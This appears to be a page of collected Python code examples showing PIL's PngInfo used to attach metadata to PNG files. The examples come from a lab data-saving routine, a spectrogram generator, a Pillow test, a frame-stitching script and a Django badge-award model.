        @param dictionary parameters: optional, a dictionary with all parameters you want to save in
                                      the header of the created file.
        @parem string filename: optional, if you really want to fix your own filename. If passed,
                                the whole file will have the name

                                    <filename>

                                If nothing is specified the save logic will generate a filename
                                either based on the module name from which this method was called,
                                or it will use the passed filelabel if that is speficied.
                                You also need to specify the ending of the filename!
        @parem string filelabel: optional, if filelabel is set and no filename was specified, the
                                 savelogic will create a name which looks like

                                     YYYY-MM-DD_HHh-MMm-SSs_<filelabel>.dat

                                 The timestamp will be created at runtime if no user defined
                                 timestamp was passed.
        @param datetime timestamp: optional, a datetime.datetime object. You can create this object
                                   with datetime.datetime.now() in the calling module if you want to
                                   fix the timestamp for the filename. Be careful when passing a
                                   filename and a timestamp, because then the timestamp will be
                                   ignored.
        @param string filetype: optional, the file format the data should be saved in. Valid inputs
                                are 'text', 'xml' and 'npz'. Default is 'text'.
        @param string or list of strings fmt: optional, format specifier for saved data. See python
                                              documentation for
                                              "Format Specification Mini-Language". If you want for
                                              example save a float in scientific notation with 6
                                              decimals this would look like '%.6e'. For saving
                                              integers you could use '%d', '%s' for strings.
                                              The default is '%.15e' for numbers and '%s' for str.
                                              If len(data) > 1 you should pass a list of format
                                              specifiers; one for each item in the data dict. If
                                              only one specifier is passed but the data arrays have
                                              different data types this can lead to strange
                                              behaviour or failure to save right away.
        @param string delimiter: optional, insert here the delimiter, like '\n' for new line, '\t'
                                 for tab, ',' for a comma ect.

        1D data
        =======
        1D data should be passed in a dictionary where the data trace should be assigned to one
        identifier like

            {'<identifier>':[list of values]}
            {'Numbers of counts':[1.4, 4.2, 5, 2.0, 5.9 , ... , 9.5, 6.4]}

        You can also pass as much 1D arrays as you want:

            {'Frequency (MHz)':list1, 'signal':list2, 'correlations': list3, ...}

        2D data
        =======
        2D data should be passed in a dictionary where the matrix like data should be assigned to
        one identifier like

            {'<identifier>':[[1,2,3],[4,5,6],[7,8,9]]}

        which will result in:
            <identifier>
            1   2   3
            4   5   6
            7   8   9


        YOU ARE RESPONSIBLE FOR THE IDENTIFIER! DO NOT FORGET THE UNITS FOR THE SAVED TIME
        TRACE/MATRIX.
        """
        start_time = time.time()
        # Create timestamp if none is present
        if timestamp is None:
            timestamp = datetime.datetime.now()

        # Try to cast data array into numpy.ndarray if it is not already one
        # Also collect information on arrays in the process and do sanity checks
        found_1d = False
        found_2d = False
        multiple_dtypes = False
        arr_length = []
        arr_dtype = []
        max_row_num = 0
        max_line_num = 0
        for keyname in data:
            # Cast into numpy array
            if not isinstance(data[keyname], np.ndarray):
                try:
                    data[keyname] = np.array(data[keyname])
                except:
                    self.log.error(
                        'Casting data array of type "{0}" into numpy.ndarray failed. '
                        'Could not save data.'.format(type(data[keyname])))
                    return -1

            # determine dimensions
            if data[keyname].ndim < 3:
                length = data[keyname].shape[0]
                arr_length.append(length)
                if length > max_line_num:
                    max_line_num = length
                if data[keyname].ndim == 2:
                    found_2d = True
                    width = data[keyname].shape[1]
                    if max_row_num < width:
                        max_row_num = width
                else:
                    found_1d = True
                    max_row_num += 1
            else:
                self.log.error(
                    'Found data array with dimension >2. Unable to save data.')
                return -1

            # determine array data types
            if len(arr_dtype) > 0:
                if arr_dtype[-1] != data[keyname].dtype:
                    multiple_dtypes = True
            arr_dtype.append(data[keyname].dtype)

        # Raise error if data contains a mixture of 1D and 2D arrays
        if found_2d and found_1d:
            self.log.error(
                'Passed data dictionary contains 1D AND 2D arrays. This is not allowed. '
                'Either fit all data arrays into a single 2D array or pass multiple 1D '
                'arrays only. Saving data failed!')
            return -1

        # try to trace back the functioncall to the class which was calling it.
        try:
            frm = inspect.stack()[1]
            # this will get the object, which called the save_data function.
            mod = inspect.getmodule(frm[0])
            # that will extract the name of the class.
            module_name = mod.__name__.split('.')[-1]
        except:
            # Sometimes it is not possible to get the object which called the save_data function
            # (such as when calling this from the console).
            module_name = 'UNSPECIFIED'

        # determine proper file path
        if filepath is None:
            filepath = self.get_path_for_module(module_name)
        elif not os.path.exists(filepath):
            os.makedirs(filepath)
            self.log.info(
                'Custom filepath does not exist. Created directory "{0}"'
                ''.format(filepath))

        # determine proper unique filename to save if none has been passed
        if filename is None:
            filename = self.get_filename(filelabel, timestamp)

        # Check format specifier.
        if not isinstance(fmt, str) and len(fmt) != len(data):
            self.log.error(
                'Length of list of format specifiers and number of data items differs. '
                'Saving not possible. Please pass exactly as many format specifiers as '
                'data arrays.')
            return -1

        # Create header string for the file
        header = 'Saved Data from the class {0} on {1}.\n' \
                 ''.format(module_name, timestamp.strftime('%d.%m.%Y at %Hh%Mm%Ss'))
        if self._file_tag != None:
            header += '{}\n'.format(self._file_tag)
        header += '\nParameters:\n===========\n\n'
        # Include the active POI name (if not empty) as a parameter in the header
        if self.active_poi_name != '':
            header += 'Measured at POI: {0}\n'.format(self.active_poi_name)
        if self.notes != None:
            header += 'Notes: {}\n'.format(self.notes)
        # add the parameters if specified:
        if parameters is not None:
            # check whether the format for the parameters have a dict type:
            if isinstance(parameters, dict):
                if isinstance(self._additional_parameters, dict):
                    parameters = {**self._additional_parameters, **parameters}
                for entry, param in parameters.items():
                    if isinstance(param, float):
                        header += '{0}: {1:.16e}\n'.format(entry, param)
                    else:
                        header += '{0}: {1}\n'.format(entry, param)
            # make a hardcore string conversion and try to save the parameters directly:
            else:
                self.log.error(
                    'The parameters are not passed as a dictionary! The SaveLogic will '
                    'try to save the parameters nevertheless.')
                header += 'not specified parameters: {0}\n'.format(parameters)
        header += '\nData:\n=====\n'

        # write data to file
        # FIXME: Implement other file formats
        # write to textfile
        if filetype == 'text':
            # Reshape data if multiple 1D arrays have been passed to this method.
            # If a 2D array has been passed, reformat the specifier
            if len(data) != 1:
                identifier_str = ''
                if multiple_dtypes:
                    field_dtypes = list(
                        zip([
                            'f{0:d}'.format(i) for i in range(len(arr_dtype))
                        ], arr_dtype))
                    new_array = np.empty(max_line_num, dtype=field_dtypes)
                    for i, keyname in enumerate(data):
                        identifier_str += keyname + delimiter
                        field = 'f{0:d}'.format(i)
                        length = data[keyname].size
                        new_array[field][:length] = data[keyname]
                        if length < max_line_num:
                            if isinstance(data[keyname][0], str):
                                new_array[field][length:] = 'nan'
                            else:
                                new_array[field][length:] = np.nan
                else:
                    new_array = np.empty([max_line_num, max_row_num],
                                         arr_dtype[0])
                    for i, keyname in enumerate(data):
                        identifier_str += keyname + delimiter
                        length = data[keyname].size
                        new_array[:length, i] = data[keyname]
                        if length < max_line_num:
                            if isinstance(data[keyname][0], str):
                                new_array[length:, i] = 'nan'
                            else:
                                new_array[length:, i] = np.nan
                # discard old data array and use new one
                data = {identifier_str: new_array}
            elif found_2d:
                keyname = list(data.keys())[0]
                identifier_str = keyname.replace(', ', delimiter).replace(
                    ',', delimiter)
                data[identifier_str] = data.pop(keyname)
            else:
                identifier_str = list(data)[0]
            header += list(data)[0]
            self.save_array_as_text(data=data[identifier_str],
                                    filename=filename,
                                    filepath=filepath,
                                    fmt=fmt,
                                    header=header,
                                    delimiter=delimiter,
                                    comments='#',
                                    append=False)
        # write npz file and save parameters in textfile
        elif filetype == 'npz':
            header += str(list(data.keys()))[1:-1]
            np.savez_compressed(filepath + '/' + filename[:-4], **data)
            self.save_array_as_text(data=[],
                                    filename=filename[:-4] + '_params.dat',
                                    filepath=filepath,
                                    fmt=fmt,
                                    header=header,
                                    delimiter=delimiter,
                                    comments='#',
                                    append=False)
        else:
            self.log.error(
                'Only saving of data as textfile and npz-file is implemented. Filetype "{0}" is not '
                'supported yet. Saving as textfile.'.format(filetype))
            self.save_array_as_text(data=data[identifier_str],
                                    filename=filename,
                                    filepath=filepath,
                                    fmt=fmt,
                                    header=header,
                                    delimiter=delimiter,
                                    comments='#',
                                    append=False)

        #--------------------------------------------------------------------------------------------
        # Save thumbnail figure of plot
        if plotfig is not None:
            # create Metadata
            metadata = dict()
            metadata['Title'] = 'Image produced by qudi: ' + module_name
            metadata['Author'] = 'qudi - Software Suite'
            metadata[
                'Subject'] = 'Find more information on: https://github.com/Ulm-IQO/qudi'
            metadata[
                'Keywords'] = 'Python 3, Qt, experiment control, automation, measurement, software, framework, modular'
            metadata['Producer'] = 'qudi - Software Suite'
            if timestamp is not None:
                metadata['CreationDate'] = timestamp
                metadata['ModDate'] = timestamp
            else:
                metadata['CreationDate'] = time
                metadata['ModDate'] = time

            if self.save_pdf:
                # determine the PDF-Filename
                fig_fname_vector = os.path.join(filepath,
                                                filename)[:-4] + '_fig.pdf'

                # Create the PdfPages object to which we will save the pages:
                # The with statement makes sure that the PdfPages object is closed properly at
                # the end of the block, even if an Exception occurs.
                with PdfPages(fig_fname_vector) as pdf:
                    pdf.savefig(plotfig, bbox_inches='tight', pad_inches=0.05)

                    # We can also set the file's metadata via the PdfPages object:
                    pdf_metadata = pdf.infodict()
                    for x in metadata:
                        pdf_metadata[x] = metadata[x]

            if self.save_png:
                # determine the PNG-Filename and save the plain PNG
                fig_fname_image = os.path.join(filepath,
                                               filename)[:-4] + '_fig.png'
                plotfig.savefig(fig_fname_image,
                                bbox_inches='tight',
                                pad_inches=0.05)

                # Use Pillow (an fork for PIL) to attach metadata to the PNG
                png_image = Image.open(fig_fname_image)
                png_metadata = PngImagePlugin.PngInfo()

                # PIL can only handle Strings, so let's convert our times
                metadata['CreationDate'] = metadata['CreationDate'].strftime(
                    '%Y%m%d-%H%M-%S')
                metadata['ModDate'] = metadata['ModDate'].strftime(
                    '%Y%m%d-%H%M-%S')

                for x in metadata:
                    # make sure every value of the metadata is a string
                    if not isinstance(metadata[x], str):
                        metadata[x] = str(metadata[x])

                    # add the metadata to the picture
                    png_metadata.add_text(x, metadata[x])

                # save the picture again, this time including the metadata
                png_image.save(fig_fname_image, "png", pnginfo=png_metadata)

            # close matplotlib figure
            plt.close(plotfig)
            self.log.debug(
                'Time needed to save data: {0:.2f}s'.format(time.time() -
                                                            start_time))
Ejemplo n.º 31
0
 def run(self):
     print("Running the Thread : ", self.name)
     cmpt = 0
     for i, item in enumerate(self.trackswav):
         if (cmpt >= 50):
             break
         if (item[-3:] == "wav"):
             if not os.path.exists(self.my_json["dataset_image_path"] +
                                   "\\" + self.category + "\\" +
                                   item.replace(".wav", ".png")):
                 try:
                     sample_rate, samples = wavfile.read(
                         str(self.my_json['dataset_wav_path'] + '\\' +
                             self.category + '\\' + item))
                     # samples, sample_rate = lr.load(str(self.my_json['dataset_wav_path']+'\\'+self.category+'\\'+item), mono=True)
                     duration_seconds = len(
                         samples) / sample_rate  # 44100 Hz -> 30s.
                     nfft = 2048  # CARE ABOUT THE RESOLUTION -> loss of precision. basis = None
                     noverlap = 128  # number of frequency level. default = 128
                     spect_Fs = sample_rate / 2
                     try:
                         fig = plt.figure(
                             frameon=False, figsize=(2, 2)
                         )  #, figsize=(self.height/self.dpi, self.width/self.dpi), dpi=self.dpi)
                         ax = plt.axes()
                         plt.ioff()
                         if (self.colormesh):
                             f, t, Sxx = signal.spectrogram(
                                 samples,
                                 sample_rate,
                                 return_onesided=False)
                             plt.pcolormesh(t, np.fft.fftshift(f),
                                            np.fft.fftshift(Sxx, axes=0))
                         else:
                             plt.specgram(samples,
                                          NFFT=nfft,
                                          noverlap=noverlap,
                                          Fs=spect_Fs,
                                          Fc=0,
                                          cmap='gray_r',
                                          sides='default',
                                          mode='default',
                                          scale='dB')
                         try:
                             if (self.legend):
                                 plt.colorbar(None, use_gridspec=True)
                                 plt.title('Spectrogram of ' + item)
                                 plt.ylabel('Frequency [Hz]')
                                 plt.xlabel('Time [sec]')
                             else:
                                 frame = plt.gca()
                                 frame.axes.get_xaxis().set_visible(False)
                                 frame.axes.get_yaxis().set_visible(False)
                                 ax.set_axis_off()
                             fig.savefig(
                                 str(self.my_json["dataset_image_path"] +
                                     "\\" + self.category + "\\" +
                                     item.replace("wav", "png")),
                                 frameon="false",
                                 bbox_inches='tight',
                                 transparent=True,
                                 pad_inches=0.0)
                             print(self.name, " Index ", i,
                                   ". The spectrogram : ",
                                   item.replace('wav',
                                                'png'), " was created.")
                             try:
                                 im = Image.open(
                                     str(self.my_json["dataset_image_path"]
                                         + "\\" + self.category + "\\" +
                                         item.replace("wav", "png")))
                                 try:
                                     meta = PngImagePlugin.PngInfo()
                                     my_meta = {
                                         "length_secs":
                                         str(duration_seconds),
                                         "category_shaped":
                                         str(self.corresponding_cat_array),
                                         "category":
                                         self.category,
                                         "overlap":
                                         str(noverlap),
                                         "nfft":
                                         str(nfft),
                                         "Fs":
                                         str(spect_Fs),
                                         'Frequency':
                                         str(sample_rate)
                                     }
                                     for x in my_meta:
                                         meta.add_text(x, my_meta[x])
                                     im.save(
                                         str(self.
                                             my_json["dataset_image_path"] +
                                             "\\" + self.category + "\\" +
                                             item.replace("wav", "png")),
                                         "png",
                                         pnginfo=meta)
                                 except Exception as inst:
                                     print(inst)
                                     print(
                                         self.name, " Index ", i,
                                         ". Error creating the metadatas.")
                             except Exception as inst:
                                 print("\nException : ", inst)
                                 print(
                                     self.name, " Index ", i,
                                     ". The png image representing the spectrogram can't be opened."
                                 )
                         except:
                             print(
                                 self.name, " Index ", i,
                                 ". The spectrogram : ",
                                 item.replace('wav', 'png'),
                                 " can't be created. Error creating/hiding the legend of the spectrogram."
                             )
                         plt.close()
                     except Exception as inst:
                         print("Exception : ", inst)
                         print(
                             self.name, " Index ", i,
                             ". The spectrogram : ",
                             item.replace('wav', 'png'),
                             " can't be created. Error creating the spectogram."
                         )
                     cmpt += 1
                 except:
                     print(
                         self.name, " Index ", i, ". The spectrogram : ",
                         item.replace('wav', 'png'),
                         " can't be created. Error reading the data from the wav file and extracting the frames."
                     )
             else:
                 print(self.name, " Index ", i, ". The spectrogram : ",
                       item.replace('wav', 'png'), " already exists.")
         else:
             print(self.name, " : Error exporting creating the png. the ",
                   item, " isn't at the good format.\n")
     print("The thread : ", self.name, " is terminated.")
Ejemplo n.º 32
0
 def rt_text(value):
     im = Image.new("RGB", (32, 32))
     info = PngImagePlugin.PngInfo()
     info.add_text("Text", value)
     im = roundtrip(im, pnginfo=info)
     assert im.info == {"Text": value}
Ejemplo n.º 33
0
    '00000005.jpg',
    '00000006.jpg',
    '00000007.jpg',
]
bitmaps = []
for i in images:
    bitmaps.append(Image.open(i))

# 创建目标图片
sample = bitmaps[0]
width = sample.width
height = sample.height
result = Image.new('RGB', (width, height * len(bitmaps)))

print(f'Width: {width}')
print(f'Height: {height} x {len(bitmaps)}\n')

# 循环复制像素
for y in range(0, height):
    print(f'copying {y+1}/{height}', end='\r')
    for x in range(0, width):
        for i in range(0, len(bitmaps)):
            result.putpixel((x, 7 * y + i), bitmaps[i].getpixel((x, y)))

print('Finish!')
# 写入exif数据
meta = PngImagePlugin.PngInfo()
meta.add_text('Frames', str(len(bitmaps)))
# result.save('result.png',pnginfo=meta)
result.convert('P').save('result.png', pnginfo=meta)
Ejemplo n.º 34
0
class Award(models.Model):
    """Representation of a badge awarded to a user"""

    admin_objects = models.Manager()
    objects = AwardManager()

    badge = models.ForeignKey(Badge)
    image = models.ImageField(blank=True,
                              null=True,
                              storage=BADGE_UPLOADS_FS,
                              upload_to=mk_upload_to('image', 'png'))
    claim_code = models.CharField(max_length=32,
                                  blank=True,
                                  default='',
                                  unique=False,
                                  db_index=True,
                                  help_text="Code used to claim this award")
    user = models.ForeignKey(User, related_name="award_user")
    creator = models.ForeignKey(User,
                                related_name="award_creator",
                                blank=True,
                                null=True)
    hidden = models.BooleanField(default=False)
    created = models.DateTimeField(auto_now_add=True, blank=False)
    modified = models.DateTimeField(auto_now=True, blank=False)

    get_permissions_for = get_permissions_for

    class Meta:
        ordering = ['-modified', '-created']

    def __unicode__(self):
        by = self.creator and (u' by %s' % self.creator) or u''
        return u'Award of %s to %s%s' % (self.badge, self.user, by)

    @models.permalink
    def get_absolute_url(self):
        return ('badger.views.award_detail', (self.badge.slug, self.pk))

    def get_upload_meta(self):
        u = self.user.username
        return ("award/%s/%s/%s" % (u[0], u[1], u), self.badge.slug)

    def allows_detail_by(self, user):
        # TODO: Need some logic here, someday.
        return True

    def save(self, *args, **kwargs):

        # Signals and some bits of logic only happen on a new award.
        is_new = not self.pk

        if is_new:
            # Bail if this is an attempt to double-award a unique badge
            if self.badge.unique and self.badge.is_awarded_to(self.user):
                raise BadgeAlreadyAwardedException()

            # Only fire will-be-awarded signal on a new award.
            badge_will_be_awarded.send(sender=self.__class__, award=self)

        super(Award, self).save(*args, **kwargs)
        # Called after super.save(), so we have some auto-gen fields like pk
        # and created
        self.bake_obi_image()

        if is_new:
            # Only fire was-awarded signal on a new award.
            badge_was_awarded.send(sender=self.__class__, award=self)

            # Since this badge was just awarded, check the prerequisites on all
            # badges that count this as one.
            for dep_badge in self.badge.badge_set.all():
                dep_badge.check_prerequisites(self.user, self.badge, self)

            # Reset any progress for this user & badge upon award.
            Progress.objects.filter(user=self.user, badge=self.badge).delete()

    def as_obi_assertion(self, request=None):
        badge_data = self.badge.as_obi_serialization(request)

        if request:
            base_url = request.build_absolute_uri('/')[:-1]
        else:
            base_url = 'http://%s' % (Site.objects.get_current().domain, )

        # If this award has a creator (ie. not system-issued), tweak the issuer
        # data to reflect award creator.
        # TODO: Is this actually a good idea? Or should issuer be site-wide
        if self.creator:
            badge_data['issuer'] = {
                # TODO: Get from user profile instead?
                "origin": base_url,
                "name": self.creator.username,
                "contact": self.creator.email
            }

        # see: https://github.com/brianlovesdata/openbadges/wiki/Assertions
        # TODO: This salt is stable, and the badge.pk is generally not
        # disclosed anywhere, but is it obscured enough?
        hash_salt = (hashlib.md5('%s-%s' %
                                 (self.badge.pk, self.pk)).hexdigest())
        recipient_text = '%s%s' % (self.user.email, hash_salt)
        recipient_hash = ('sha256$%s' %
                          hashlib.sha256(recipient_text).hexdigest())
        assertion = {
            "recipient": recipient_hash,
            "salt": hash_salt,
            "evidence": urljoin(base_url, self.get_absolute_url()),
            # TODO: implement award expiration
            # "expires": self.expires.strftime('%s'),
            "issued_on": self.created.strftime('%s'),
            "badge": badge_data
        }
        return assertion

    def bake_obi_image(self, request=None):
        """Bake the OBI JSON badge award assertion into a copy of the original
        badge's image, if one exists."""

        if request:
            base_url = request.build_absolute_uri('/')
        else:
            base_url = 'http://%s' % (Site.objects.get_current().domain, )

        if self.badge.image:
            # Make a duplicate of the badge image
            self.badge.image.open()
            img_copy_fh = StringIO(self.badge.image.file.read())
        else:
            # Make a copy of the default badge image
            img_copy_fh = StringIO(open(DEFAULT_BADGE_IMAGE, 'rb').read())

        try:
            # Try processing the image copy, bail if the image is bad.
            img = Image.open(img_copy_fh)
        except IOError, e:
            return False

        # Here's where the baking gets done. JSON representation of the OBI
        # assertion gets written into the "openbadges" metadata field
        # see: http://blog.client9.com/2007/08/python-pil-and-png-metadata-take-2.html
        # see: https://github.com/mozilla/openbadges/blob/development/lib/baker.js
        # see: https://github.com/mozilla/openbadges/blob/development/controllers/baker.js
        from PIL import PngImagePlugin
        meta = PngImagePlugin.PngInfo()
        # TODO: Will need this, if we stop doing hosted assertions
        # assertion = self.as_obi_assertion(request)
        # meta.add_text('openbadges', json.dumps(assertion))
        hosted_assertion_url = '%s%s' % (base_url,
                                         reverse(
                                             'badger.award_detail_json',
                                             args=(self.badge.slug, self.id)))
        meta.add_text('openbadges', hosted_assertion_url)

        # And, finally save out the baked image.
        new_img = StringIO()
        img.save(new_img, "PNG", pnginfo=meta)
        img_data = new_img.getvalue()
        name_before = self.image.name
        self.image.save('', ContentFile(img_data), False)
        if (self.image.storage.exists(name_before)):
            self.image.storage.delete(name_before)

        # Update the image field with the new image name
        # NOTE: Can't do a full save(), because this gets called in save()
        Award.objects.filter(pk=self.pk).update(image=self.image)

        return True
Ejemplo n.º 35
0
while True:
    s = fp.read(629)
    print s
    if not s:
        break
    p.feed(s)

im = p.close()

im.save("o2.png")

#im.show()

# chunky = png.PngStream(im)

chunks_are_us = png.getchunks(fp)



#for item in chunks_are_us:
    #print item[0]
#this returns these:
# IHDR (required)
# IDAT (image data chunk 1)
# IDAT (image data chunk 2)
# IEND (required)

#no itXt chunk or other metadata
#this works but is not informative
# for k,v in im.info.iteritems():
#     print k,v